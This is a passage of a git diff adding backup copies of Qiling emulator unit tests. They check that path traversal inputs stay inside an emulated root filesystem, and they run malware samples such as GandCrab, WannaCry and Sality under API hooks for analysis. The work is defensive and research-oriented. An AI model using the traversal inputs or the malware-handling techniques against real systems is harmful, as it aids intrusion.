'C:\\Windows\\System32', '..\\xxxx\\..\\test')) + + @unittest.skipUnless(is_nt_host, 'NT host only') + def test_convert_posix_to_nt(self): + rootfs = PureWindowsPath(r'../examples/rootfs/x86_linux') + + expected = str(realpath(rootfs) / 'test') + + self.assertEqual(expected, posix_to_native(str(rootfs), '/', '/test')) + self.assertEqual(expected, posix_to_native(str(rootfs), '/', '/../test')) + self.assertEqual(expected, posix_to_native(str(rootfs), '/', '/../../test')) + self.assertEqual(expected, posix_to_native(str(rootfs), '/', '/../xxxx/../test')) + + self.assertEqual(expected, posix_to_native(str(rootfs), '/', 'test')) + self.assertEqual(expected, posix_to_native(str(rootfs), '/', '../test')) + self.assertEqual(expected, posix_to_native(str(rootfs), '/', '../../test')) + self.assertEqual(expected, posix_to_native(str(rootfs), '/', '../xxxx/../test')) + + expected = str(realpath(rootfs) / 'proc' / 'test') + + self.assertEqual(expected, posix_to_native(str(rootfs), '/proc', 'test')) + self.assertEqual(expected, posix_to_native(str(rootfs), '/proc/sys', '../test')) + self.assertEqual(expected, posix_to_native(str(rootfs), '/proc/sys/net', '../../test')) + self.assertEqual(expected, posix_to_native(str(rootfs), '/proc/sys', '../xxxx/../test')) + + def test_convert_for_native_os(self): + + if is_nt_host: + rootfs = PureWindowsPath(r'../examples/rootfs/x86_windows') + + expected = str(realpath(rootfs) / 'test') + + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\.\\PhysicalDrive0\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\.\\PhysicalDrive0\\..\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\.\\PhysicalDrive0\\..\\..\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\.\\PhysicalDrive0\\..\\xxxx\\..\\test')) + + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\hostname\\share\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\hostname\\share\\..\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\hostname\\share\\..\\..\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\hostname\\share\\..\\xxxx\\..\\test')) + + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\.\\BootPartition\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\.\\BootPartition\\..\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\.\\BootPartition\\..\\..\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\.\\BootPartition\\..\\xxxx\\..\\test')) + + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', 'C:\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', 'C:\\..\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', 'C:\\..\\..\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', 'C:\\..\\xxxx\\..\\test')) + + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\..\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\..\\..\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\..\\xxxx\\..\\test')) + + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', 'test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '..\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '..\\..\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '..\\xxxx\\..\\test')) + + expected = str(realpath(rootfs) / 'Windows' / 'test') + + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\Windows', 'test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\Windows\\System32', '..\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\Windows\\System32\\drivers', '..\\..\\test')) + self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\Windows\\System32', '..\\xxxx\\..\\test')) + + elif is_posix_host: + rootfs = PurePosixPath(r'../examples/rootfs/x86_linux') + + expected = str(realpath(rootfs) / 'test') + + self.assertEqual(expected, posix_to_native(str(rootfs), '/', '/test')) + self.assertEqual(expected, posix_to_native(str(rootfs), '/', '/../test')) + self.assertEqual(expected, posix_to_native(str(rootfs), '/', '/../../test')) + self.assertEqual(expected, posix_to_native(str(rootfs), '/', '/../xxxx/../test')) + + self.assertEqual(expected, posix_to_native(str(rootfs), '/', 'test')) + self.assertEqual(expected, posix_to_native(str(rootfs), '/', '../test')) + self.assertEqual(expected, posix_to_native(str(rootfs), '/', '../../test')) + self.assertEqual(expected, posix_to_native(str(rootfs), '/', '../xxxx/../test')) + + expected = str(realpath(rootfs) / 'proc' / 'test') + + self.assertEqual(expected, posix_to_native(str(rootfs), '/proc', 'test')) + self.assertEqual(expected, posix_to_native(str(rootfs), '/proc/sys', '../test')) + self.assertEqual(expected, posix_to_native(str(rootfs), '/proc/sys/net', '../../test')) + self.assertEqual(expected, posix_to_native(str(rootfs), '/proc/sys', '../xxxx/../test')) + + # test virtual symlink: absolute virtual path + rootfs = PurePosixPath(r'../examples/rootfs/arm_linux') + expected = str(realpath(rootfs) / 'tmp' / 'media' / 'nand' / 'symlink_test' / 'libsymlink_test.so') + + self.assertEqual(expected, posix_to_native(str(rootfs), '/', '/lib/libsymlink_test.so')) + + # test virtual symlink: relative virtual path + rootfs = PurePosixPath(r'../examples/rootfs/arm_qnx') + expected = str(realpath(rootfs) / 'lib' / 'libm.so.2') + + self.assertEqual(expected, posix_to_native(str(rootfs), '/', '/usr/lib/libm.so.2')) + + else: + self.fail('unexpected host os') + + +if __name__ == '__main__': + unittest.main() diff --git a/tests/test_pe.py.orig b/tests/test_pe.py.orig new file mode 100644 index 000000000..2cac6e7b4 --- /dev/null +++ b/tests/test_pe.py.orig @@ -0,0 +1,596 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import os, random, sys, unittest, logging +import string as st + +sys.path.append("..") +from qiling import Qiling +from qiling.const import * +from qiling.exception import * +from qiling.extensions import pipe +from qiling.loader.pe import QlPeCache +from qiling.os.const import * +from qiling.os.windows.fncc import * +from qiling.os.windows.utils import * +from qiling.os.mapper import QlFsMappedObject +# This is intended. +# See https://stackoverflow.com/questions/8804830/python-multiprocessing-picklingerror-cant-pickle-type-function +import multiprocess as mb +import traceback + +# On Windows, the CPython GC is too conservative and may hold too +# many Unicorn objects (nearly 16GB) until free-ing them which may +# cause failure during tests. +# +# Use subprocess to make sure resources are free-ed when the subprocess +# is killed. +class QLWinSingleTest: + + def __init__(self, test): + self._test = test + + def _run_test(self, results): + try: + results['result'] = self._test() + except Exception as e: + tb = traceback.format_exc() + results['exception'] = tb + results['result'] = False + + def run(self): + with mb.Manager() as m: + results = m.dict() + p = mb.Process(target=QLWinSingleTest._run_test, args=(self, results)) + p.start() + p.join() + if "exception" not in results: + return results['result'] + else: + raise RuntimeError(f"\n\nGot an exception during subprocess:\n\n{results['exception']}") + + +class TestOut: + def __init__(self): + self.output = {} + + def write(self, string): + key, value = string.split(b': ', 1) + assert key not in self.output + self.output[key] = value + return len(string) + +IS_FAST_TEST = 'QL_FAST_TEST' in os.environ + +class PETest(unittest.TestCase): + + def test_pe_win_x8664_hello(self): + def _t(): + ql = Qiling(["../examples/rootfs/x8664_windows/bin/x8664_hello.exe"], "../examples/rootfs/x8664_windows") + ql.run() + del ql + return True + + self.assertTrue(QLWinSingleTest(_t).run()) + + + def test_pe_win_x86_hello(self): + def _t(): + ql = Qiling(["../examples/rootfs/x86_windows/bin/x86_hello.exe"], "../examples/rootfs/x86_windows") + ql.run() + del ql + return True + + self.assertTrue(QLWinSingleTest(_t).run()) + + + def test_pe_win_x8664_file_upx(self): + def _t(): + ql = Qiling(["../examples/rootfs/x8664_windows/bin/x8664_file_upx.exe"], "../examples/rootfs/x8664_windows") + ql.run() + del ql + return True + + self.assertTrue(QLWinSingleTest(_t).run()) + + + def test_pe_win_x86_file_upx(self): + def _t(): + ql = Qiling(["../examples/rootfs/x86_windows/bin/x86_file_upx.exe"], "../examples/rootfs/x86_windows") + ql.run() + del ql + return True + + self.assertTrue(QLWinSingleTest(_t).run()) + + + @unittest.skipIf(IS_FAST_TEST, 'fast test') + def test_pe_win_x86_uselessdisk(self): + def _t(): + class Fake_Drive(QlFsMappedObject): + + def read(self, size): + return random.randint(0, 256) + + def write(self, bs): + print(bs) + return len(bs) + + def fstat(self): + return -1 + + def close(self): + return 0 + + ql = Qiling(["../examples/rootfs/x86_windows/bin/UselessDisk.bin"], "../examples/rootfs/x86_windows", + verbose=QL_VERBOSE.DEBUG) + ql.add_fs_mapper(r"\\.\PHYSICALDRIVE0", Fake_Drive()) + ql.run() + del ql + return True + + self.assertTrue(QLWinSingleTest(_t).run()) + + + @unittest.skipIf(IS_FAST_TEST, 'fast test') + def test_pe_win_x86_gandcrab(self): + def _t(): + def stop(ql: Qiling): + ql.log.info("Ok for now") + + ql.emu_stop() + + def __rand_serialnum() -> str: + """ + see: https://en.wikipedia.org/wiki/Volume_serial_number + see: https://www.digital-detective.net/documents/Volume%20Serial%20Numbers.pdf + """ + + mon = random.randint(1, 12) + day = random.randint(0, 30) + word1 = (mon << 8) + day + + sec = random.randint(0, 59) + ms = random.randint(0, 99) + word2 = (sec << 8) + ms + + unified1 = word1 + word2 + + hrs = random.randint(0, 23) + mins = random.randint(0, 59) + word1 = (hrs << 8) + mins + + yr = random.randint(2000, 2020) + word2 = yr + + unified2 = word1 + word2 + + return f'{unified1:04x}-{unified2:04x}' + + def __rand_name(minlen: int, maxlen: int) -> str: + name_len = random.randint(minlen, maxlen) + + return ''.join(random.choices(st.ascii_lowercase + st.ascii_uppercase, k=name_len)) + + + ql = Qiling(["../examples/rootfs/x86_windows/bin/GandCrab502.bin"], "../examples/rootfs/x86_windows", + verbose=QL_VERBOSE.DEBUG, profile="profiles/windows_gandcrab_admin.ql") + + ql.hook_address(stop, 0x40860f) + + # randomize username + old_uname = ql.os.profile['USER']['username'] + new_uname = __rand_name(3, 10) + + # update paths accordingly + path_key = ql.os.profile['PATH'] + + for p in path_key: + path_key[p] = path_key[p].replace(old_uname, new_uname) + + ql.os.profile['USER']['username'] = new_uname + + # randomize computer name and serial number + ql.os.profile['SYSTEM']['computername'] = __rand_name(5, 15) + ql.os.profile['VOLUME']['serial_number'] = __rand_serialnum() + + ql.run() + num_syscalls_admin = ql.os.stats.position + del ql + + # RUN AS USER + ql = Qiling(["../examples/rootfs/x86_windows/bin/GandCrab502.bin"], "../examples/rootfs/x86_windows", profile="profiles/windows_gandcrab_user.ql") + + ql.run() + num_syscalls_user = ql.os.stats.position + del ql + + # let's check that gandcrab behave takes a different path if a different environment is found + return num_syscalls_admin != num_syscalls_user + + self.assertTrue(QLWinSingleTest(_t).run()) + + def test_pe_win_x86_multithread(self): + def _t(): + thread_id = -1 + + def ThreadId_onEnter(ql: Qiling, address: int, params): + nonlocal thread_id + + thread_id = ql.os.thread_manager.cur_thread.id + + ql = Qiling(["../examples/rootfs/x86_windows/bin/MultiThread.exe"], "../examples/rootfs/x86_windows") + ql.os.set_api("GetCurrentThreadId", ThreadId_onEnter, QL_INTERCEPT.ENTER) + ql.run() + + del ql + + return (1 <= thread_id < 255) + + self.assertTrue(QLWinSingleTest(_t).run()) + + + def test_pe_win_x8664_clipboard(self): + def _t(): + ql = Qiling(["../examples/rootfs/x8664_windows/bin/x8664_clipboard_test.exe"], "../examples/rootfs/x8664_windows") + ql.run() + del ql + return True + + self.assertTrue(QLWinSingleTest(_t).run()) + + + def test_pe_win_x8664_tls(self): + def _t(): + ql = Qiling(["../examples/rootfs/x8664_windows/bin/x8664_tls.exe"], "../examples/rootfs/x8664_windows") + ql.run() + del ql + return True + + self.assertTrue(QLWinSingleTest(_t).run()) + + + def test_pe_win_x86_getlasterror(self): + def _t(): + ql = Qiling(["../examples/rootfs/x86_windows/bin/GetLastError.exe"], "../examples/rootfs/x86_windows") + ql.run() + del ql + return True + + self.assertTrue(QLWinSingleTest(_t).run()) + + + def test_pe_win_x86_regdemo(self): + def _t(): + ql = Qiling(["../examples/rootfs/x86_windows/bin/RegDemo.exe"], "../examples/rootfs/x86_windows") + ql.run() + del ql + return True + + self.assertTrue(QLWinSingleTest(_t).run()) + + + def test_pe_win_x8664_fls(self): + def _t(): + ql = Qiling(["../examples/rootfs/x8664_windows/bin/Fls.exe"], "../examples/rootfs/x8664_windows", verbose=QL_VERBOSE.DEFAULT) + ql.run() + del ql + return True + + self.assertTrue(QLWinSingleTest(_t).run()) + + + def test_pe_win_x86_return_from_main_stackpointer(self): + def _t(): + ql = Qiling(["../examples/rootfs/x86_windows/bin/return_main.exe"], "../examples/rootfs/x86_windows", stop=QL_STOP.STACK_POINTER, libcache=True) + ql.run() + del ql + return True + + self.assertTrue(QLWinSingleTest(_t).run()) + + + def test_pe_win_x86_return_from_main_exit_trap(self): + def _t(): + ql = Qiling(["../examples/rootfs/x86_windows/bin/return_main.exe"], "../examples/rootfs/x86_windows", stop=QL_STOP.EXIT_TRAP, libcache=True) + ql.run() + del ql + return True + + self.assertTrue(QLWinSingleTest(_t).run()) + + + def test_pe_win_x8664_return_from_main_stackpointer(self): + def _t(): + ql = Qiling(["../examples/rootfs/x8664_windows/bin/x8664_return_main.exe"], "../examples/rootfs/x8664_windows", stop=QL_STOP.STACK_POINTER, libcache=True) + ql.run() + del ql + return True + + self.assertTrue(QLWinSingleTest(_t).run()) + + + def test_pe_win_x8664_return_from_main_exit_trap(self): + def _t(): + ql = Qiling(["../examples/rootfs/x8664_windows/bin/x8664_return_main.exe"], "../examples/rootfs/x8664_windows", stop=QL_STOP.EXIT_TRAP, libcache=True) + ql.run() + del ql + return True + + self.assertTrue(QLWinSingleTest(_t).run()) + + + @unittest.skipIf(IS_FAST_TEST, 'fast test') + def test_pe_win_x86_wannacry(self): + def _t(): + def stop(ql): + ql.log.info("killerswtichfound") + ql.log.setLevel(logging.CRITICAL) + ql.log.info("No Print") + ql.emu_stop() + + ql = Qiling(["../examples/rootfs/x86_windows/bin/wannacry.bin"], "../examples/rootfs/x86_windows") + ql.hook_address(stop, 0x40819a) + ql.run() + del ql + return True + + self.assertTrue(QLWinSingleTest(_t).run()) + + + def test_pe_win_x86_NtQueryInformationSystem(self): + def _t(): + ql = Qiling( + ["../examples/rootfs/x86_windows/bin/NtQuerySystemInformation.exe"], + "../examples/rootfs/x86_windows") + ql.run() + del ql + return True + + self.assertTrue(QLWinSingleTest(_t).run()) + + + @unittest.skipIf(IS_FAST_TEST, 'fast test') + def test_pe_win_al_khaser(self): + def _t(): + ql = Qiling(["../examples/rootfs/x86_windows/bin/al-khaser.bin"], "../examples/rootfs/x86_windows", verbose=QL_VERBOSE.OFF) + + # ole32 functions are not implemented yet; stop before the binary + # starts using them + ql.run(end=0x004016ae) + + del ql + return True + + self.assertTrue(QLWinSingleTest(_t).run()) + + + def test_pe_win_x8664_customapi(self): + def _t(): + set_api = None + set_api_onenter = None + set_api_onexit = None + + @winsdkapi(cc=CDECL, params={ + "str" : STRING + }) + def my_puts64(ql: Qiling, address: int, params): + nonlocal set_api + print(f'[oncall] my_puts64: params = {params}') + + params["str"] = "Hello Hello Hello" + ret = len(params["str"]) + set_api = ret + + return ret + + def my_onenter(ql: Qiling, address: int, params): + nonlocal set_api_onenter + print(f'[onenter] my_onenter: params = {params}') + + set_api_onenter = len(params["str"]) + + def my_onexit(ql: Qiling, address: int, params, retval: int): + nonlocal set_api_onexit + print(f'[onexit] my_onexit: params = {params}') + + set_api_onexit = len(params["str"]) + + def my_sandbox(path, rootfs): + nonlocal set_api, set_api_onenter, set_api_onexit + ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG) + ql.os.set_api("puts", my_onenter, QL_INTERCEPT.ENTER) + ql.os.set_api("puts", my_puts64, QL_INTERCEPT.CALL) + ql.os.set_api("puts", my_onexit, QL_INTERCEPT.EXIT) + ql.run() + + if 12 != set_api_onenter: + return False + if 17 != set_api: + return False + if 17 != set_api_onexit: + return False + + del ql + return True + + return my_sandbox(["../examples/rootfs/x8664_windows/bin/x8664_hello.exe"], "../examples/rootfs/x8664_windows") + + self.assertTrue(QLWinSingleTest(_t).run()) + + + def test_pe_win_x86_argv(self): + def _t(): + + target_txt = None + + def check_print(ql: Qiling, address: int, params): + nonlocal target_txt + ql.os.fcall = ql.os.fcall_select(CDECL) + + params = ql.os.resolve_fcall_params({ + '_Options' : PARAM_INT64, + '_Stream' : POINTER, + '_Format' : STRING, + '_Locale' : DWORD, + '_ArgList' : POINTER + }) + + format = params['_Format'] + arglist = params['_ArgList'] + + count = format.count("%") + fargs = [ql.mem.read_ptr(arglist + i * ql.arch.pointersize) for i in range(count)] + + try: + target_txt = ql.mem.string(fargs[1]) + except: + target_txt = "" + + return address, params + + ql = Qiling(["../examples/rootfs/x86_windows/bin/argv.exe"], "../examples/rootfs/x86_windows") + ql.os.set_api('__stdio_common_vfprintf', check_print, QL_INTERCEPT.ENTER) + ql.run() + + if target_txt.find("argv.exe"): + target_txt = "argv.exe" + + if "argv.exe" != target_txt: + return False + + del ql + return True + + self.assertTrue(QLWinSingleTest(_t).run()) + + + def test_pe_win_x86_crackme(self): + def _t(): + def force_call_dialog_func(ql): + # get DialogFunc address + lpDialogFunc = ql.unpack32(ql.mem.read(ql.arch.regs.esp - 0x8, 4)) + # setup stack for DialogFunc + ql.stack_push(0) + ql.stack_push(1001) + ql.stack_push(273) + ql.stack_push(0) + ql.stack_push(0x0401018) + # force EIP to DialogFunc + ql.arch.regs.eip = lpDialogFunc + + def our_sandbox(path, rootfs): + ql = Qiling(path, rootfs) + ql.patch(0x004010B5, b'\x90\x90') + ql.patch(0x004010CD, b'\x90\x90') + ql.patch(0x0040110B, b'\x90\x90') + ql.patch(0x00401112, b'\x90\x90') + + ql.os.stdin = pipe.SimpleStringBuffer() + ql.os.stdin.write(b"Ea5yR3versing\n") + + ql.hook_address(force_call_dialog_func, 0x00401016) + ql.run() + del ql + + our_sandbox(["../examples/rootfs/x86_windows/bin/Easy_CrackMe.exe"], "../examples/rootfs/x86_windows") + return True + + self.assertTrue(QLWinSingleTest(_t).run()) + + + def test_pe_win_x86_cmdln(self): + def _t(): + ql = Qiling( + ["../examples/rootfs/x86_windows/bin/cmdln32.exe", 'arg1', 'arg2 with spaces'], + "../examples/rootfs/x86_windows") + ql.os.stdout = TestOut() + ql.run() + expected_string = b'\n' + expected_keys = [b'_acmdln', b'_wcmdln', b'__p__acmdln', b'__p__wcmdln', b'GetCommandLineA', b'GetCommandLineW'] + for key in expected_keys: + if not (key in ql.os.stdout.output): + return False + if expected_string != ql.os.stdout.output[key]: + return False + del ql + return True + + self.assertTrue(QLWinSingleTest(_t).run()) + + + def test_pe_win_x8664_cmdln(self): + def _t(): + ql = Qiling( + ["../examples/rootfs/x8664_windows/bin/cmdln64.exe", 'arg1', 'arg2 with spaces'], + "../examples/rootfs/x8664_windows") + ql.os.stdout = TestOut() + ql.run() + expected_string = b'\n' + expected_keys = [b'_acmdln', b'_wcmdln', b'GetCommandLineA', b'GetCommandLineW'] + for key in expected_keys: + if not (key in ql.os.stdout.output): + return False + if expected_string != ql.os.stdout.output[key]: + return False + del ql + return True + + self.assertTrue(QLWinSingleTest(_t).run()) + + class RefreshCache(QlPeCache): + def restore(self, path): + # If the cache entry exists, delete it + fcache = self.create_filename(path) + if os.path.exists(fcache): + os.remove(fcache) + return super().restore(path) + + class TestCache(QlPeCache): + def __init__(self, testcase): + super().__init__() + self.testcase = testcase + + def restore(self, path): + entry = super().restore(path) + self.testcase.assertTrue(entry is not None) # Check that it loaded a cache entry + if path.endswith('msvcrt.dll'): + self.testcase.assertEqual(len(entry.cmdlines), 2) + else: + self.testcase.assertEqual(len(entry.cmdlines), 0) + self.testcase.assertIsInstance(entry.data, bytearray) + return entry + + def save(self, path, entry): + self.testcase.assertFalse(True) # This should not be called! + + + def test_pe_win_x8664_libcache(self): + + def _t(): + # First force the cache to be recreated + ql = Qiling(["../examples/rootfs/x8664_windows/bin/cmdln64.exe", + 'arg1', 'arg2 with spaces'], + "../examples/rootfs/x8664_windows", + libcache=PETest.RefreshCache(), + verbose=QL_VERBOSE.DEFAULT) + ql.run() + del ql + + # Now run with a special cache that validates that the 'real' cache will load, + # and that the file is not written again + ql = Qiling(["../examples/rootfs/x8664_windows/bin/cmdln64.exe", + 'arg1', 'arg2 with spaces'], + "../examples/rootfs/x8664_windows", + libcache=PETest.TestCache(self), + verbose=QL_VERBOSE.DEFAULT) + ql.run() + del ql + return True + + self.assertTrue(QLWinSingleTest(_t).run()) + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_pe_sys.py.orig b/tests/test_pe_sys.py.orig new file mode 100644 index 000000000..08a5b97d8 --- /dev/null +++ b/tests/test_pe_sys.py.orig @@ -0,0 +1,274 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import platform, sys, unittest +from typing import List + +from unicorn import UcError + +sys.path.append("..") +from qiling import Qiling +from qiling.const import QL_STOP, QL_VERBOSE +from qiling.os.const import POINTER, DWORD, HANDLE +from qiling.exception import QlErrorSyscallError +from qiling.os.windows import utils +from qiling.os.windows.wdk_const import * +from qiling.os.windows.api import * +from qiling.os.windows.fncc import * +from qiling.os.windows.dlls.kernel32.fileapi import _CreateFile + +if platform.system() == "Darwin" and platform.machine() == "arm64": + sys.exit(0) + +class PETest(unittest.TestCase): + + def test_pe_win_x86_sality(self): + + def init_unseen_symbols(ql, address, name, ordinal, dll_name): + ql.loader.import_symbols[address] = {"name": name, "ordinal": ordinal, "dll": dll_name.split('.')[0] } + ql.loader.import_address_table[dll_name][name] = address + if ordinal != 0: + ql.loader.import_address_table[dll_name][ordinal] = address + + + # HANDLE CreateThread( + # LPSECURITY_ATTRIBUTES lpThreadAttributes, + # SIZE_T dwStackSize, + # LPTHREAD_START_ROUTINE lpStartAddress, + # __drv_aliasesMem LPVOID lpParameter, + # DWORD dwCreationFlags, + # LPDWORD lpThreadId + # ); + @winsdkapi(cc=STDCALL, params={ + 'lpThreadAttributes' : LPSECURITY_ATTRIBUTES, + 'dwStackSize' : SIZE_T, + 'lpStartAddress' : LPTHREAD_START_ROUTINE, + 'lpParameter' : LPVOID, + 'dwCreationFlags' : DWORD, + 'lpThreadId' : LPDWORD + }) + def hook_CreateThread(ql: Qiling, address: int, params): + # set thread handle + return 1 + + # HANDLE CreateFileA( + # LPCSTR lpFileName, + # DWORD dwDesiredAccess, + # DWORD dwShareMode, + # LPSECURITY_ATTRIBUTES lpSecurityAttributes, + # DWORD dwCreationDisposition, + # DWORD dwFlagsAndAttributes, + # HANDLE hTemplateFile + # ); + @winsdkapi(cc=STDCALL, params={ + 'lpFileName' : LPCSTR, + 'dwDesiredAccess' : DWORD, + 'dwShareMode' : DWORD, + 'lpSecurityAttributes' : LPSECURITY_ATTRIBUTES, + 'dwCreationDisposition' : DWORD, + 'dwFlagsAndAttributes' : DWORD, + 'hTemplateFile' : HANDLE + }) + def hook_CreateFileA(ql: Qiling, address: int, params): + lpFileName = params["lpFileName"] + + if lpFileName.startswith("\\\\.\\"): + if hasattr(ql, 'amsint32_driver'): + return 0x13371337 + + return -1 + + return _CreateFile(ql, address, params) + + @winsdkapi(cc=STDCALL, params={ + 'hFile' : HANDLE, + 'lpBuffer' : LPCVOID, + 'nNumberOfBytesToWrite' : DWORD, + 'lpNumberOfBytesWritten' : LPDWORD, + 'lpOverlapped' : LPOVERLAPPED + }) + def hook_WriteFile(ql: Qiling, address: int, params): + hFile = params["hFile"] + lpBuffer = params["lpBuffer"] + nNumberOfBytesToWrite = params["nNumberOfBytesToWrite"] + lpNumberOfBytesWritten = params["lpNumberOfBytesWritten"] + + r = 1 + buffer = ql.mem.read(lpBuffer, nNumberOfBytesToWrite) + + if hFile == 0x13371337: + nNumberOfBytesToWrite = utils.io_Write(ql.amsint32_driver, buffer) + + elif hFile == 0xfffffff5: + s = buffer.decode() + + ql.os.stdout.write(s) + ql.os.stats.log_string(s) + + else: + f = ql.os.handle_manager.get(hFile) + + if f is None: + ql.os.last_error = 0xffffffff + return 0 + + f.obj.write(bytes(buffer)) + + ql.mem.write_ptr(lpNumberOfBytesWritten, nNumberOfBytesToWrite, 4) + + return r + + # BOOL StartServiceA( + # SC_HANDLE hService, + # DWORD dwNumServiceArgs, + # LPCSTR *lpServiceArgVectors + # ); + @winsdkapi(cc=STDCALL, params={ + 'hService' : SC_HANDLE, + 'dwNumServiceArgs' : DWORD, + 'lpServiceArgVectors' : POINTER + }) + def hook_StartServiceA(ql: Qiling, address: int, params): + ql.test_set_api = True + + hService = params["hService"] + service_handle = ql.os.handle_manager.get(hService) + + if service_handle.name != "amsint32": + return 1 + + if service_handle.name not in ql.os.services: + return 0 + + service_path = ql.os.services[service_handle.name] + service_path = ql.os.path.transform_to_real_path(service_path) + + amsint32 = Qiling([service_path], ql.rootfs, verbose=QL_VERBOSE.DEBUG) + ntoskrnl = amsint32.loader.get_image_by_name("ntoskrnl.exe") + self.assertIsNotNone(ntoskrnl) + + init_unseen_symbols(amsint32, ntoskrnl.base + 0xb7695, b"NtTerminateProcess", 0, "ntoskrnl.exe") + amsint32.log.info('Loading amsint32 driver') + + setattr(ql, 'amsint32_driver', amsint32) + + try: + amsint32.run() + except UcError as e: + print("Load driver error: ", e) + return 0 + else: + return 1 + + def hook_first_stop_address(ql: Qiling, stops: List[bool]): + ql.log.info(f' >>>> First stop address: {ql.arch.regs.arch_pc:#010x}') + stops[0] = True + ql.emu_stop() + + def hook_second_stop_address(ql: Qiling, stops: List[bool]): + ql.log.info(f' >>>> Second stop address: {ql.arch.regs.arch_pc:#010x}') + stops[1] = True + ql.emu_stop() + + def hook_third_stop_address(ql: Qiling, stops: List[bool]): + ql.log.info(f' >>>> Third stop address: {ql.arch.regs.arch_pc:#010x}') + stops[2] = True + ql.emu_stop() + + stops = [False, False, False] + + ql = Qiling(["../examples/rootfs/x86_windows/bin/sality.dll"], "../examples/rootfs/x86_windows", verbose=QL_VERBOSE.DEBUG) + + # emulate some Windows API + ql.os.set_api("CreateThread", hook_CreateThread) + ql.os.set_api("CreateFileA", hook_CreateFileA) + ql.os.set_api("WriteFile", hook_WriteFile) + ql.os.set_api("StartServiceA", hook_StartServiceA) + + # run until first stop + ql.hook_address(hook_first_stop_address, 0x40EFFB, stops) + ql.run() + + # execution is about to resume from 0x4053B2, which essentially jumps to ExitThread (kernel32.dll). + # Set ExitThread exit code to 0 + fcall = ql.os.fcall_select(STDCALL) + fcall.writeParams(((DWORD, 0),)) + + # run until second stop + ql.hook_address(hook_second_stop_address, 0x4055FA, stops) + ql.run(begin=0x4053B2) + + # asmint32 driver should have been initialized by now. otherwise we get an exception + amsint32: Qiling = getattr(ql, 'amsint32_driver') + + # asmint32 driver init doesn't get to run far enough to initialize necessary data + # structures. it is expected to fail. + try: + utils.io_Write(amsint32, ql.pack32(0xdeadbeef)) + except QlErrorSyscallError: + pass + + # TODO: not sure whether this one is really STDCALL + fcall = amsint32.os.fcall_select(STDCALL) + fcall.writeParams(((DWORD, 0),)) + + # run until third stop + # TODO: Should stop at 0x10423, but for now just stop at 0x0001066a + amsint32.hook_address(hook_third_stop_address, 0x0001066a, stops) + amsint32.run(begin=0x102D0) + + self.assertTrue(stops[0]) + self.assertTrue(stops[1]) + self.assertTrue(stops[2]) + self.assertTrue(ql.test_set_api) + + + def test_pe_win_x8664_driver(self): + # Compiled sample from https://github.com/microsoft/Windows-driver-samples/tree/master/general/ioctl/wdm/sys + ql = Qiling(["../examples/rootfs/x8664_windows/bin/sioctl.sys"], "../examples/rootfs/x8664_windows", stop=QL_STOP.STACK_POINTER, libcache=True) + + driver_object = ql.loader.driver_object + + # Verify that these start zeroed out + majorfunctions = driver_object.MajorFunction + self.assertEqual(majorfunctions[IRP_MJ_CREATE], 0) + self.assertEqual(majorfunctions[IRP_MJ_CLOSE], 0) + self.assertEqual(majorfunctions[IRP_MJ_DEVICE_CONTROL], 0) + # And a DriverUnload + self.assertEqual(driver_object.DriverUnload, 0) + + # Run the simulation + ql.run() + + # Check that we have some MajorFunctions + majorfunctions = driver_object.MajorFunction + self.assertNotEqual(majorfunctions[IRP_MJ_CREATE], 0) + self.assertNotEqual(majorfunctions[IRP_MJ_CLOSE], 0) + self.assertNotEqual(majorfunctions[IRP_MJ_DEVICE_CONTROL], 0) + # And a DriverUnload + self.assertNotEqual(driver_object.DriverUnload, 0) + + ql.os.stats.clear() + + IOCTL_SIOCTL_METHOD_OUT_DIRECT = (40000, 0x901, METHOD_OUT_DIRECT, FILE_ANY_ACCESS) + output_buffer_size = 0x1000 + in_buffer = b'Test input\0' + Status, Information_value, output_data = utils.ioctl(ql, (IOCTL_SIOCTL_METHOD_OUT_DIRECT, output_buffer_size, in_buffer)) + + expected_result = b'This String is from Device Driver !!!\x00' + self.assertEqual(Status, 0) + self.assertEqual(Information_value, len(expected_result)) + self.assertEqual(output_data, expected_result) + + # TODO: + # - Call majorfunctions: + # - IRP_MJ_CREATE + # - IRP_MJ_CLOSE + # - Call DriverUnload + + del ql + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_perf.py.orig b/tests/test_perf.py.orig new file mode 100644 index 000000000..4c2d8e7ab --- /dev/null +++ b/tests/test_perf.py.orig @@ -0,0 +1,58 @@ 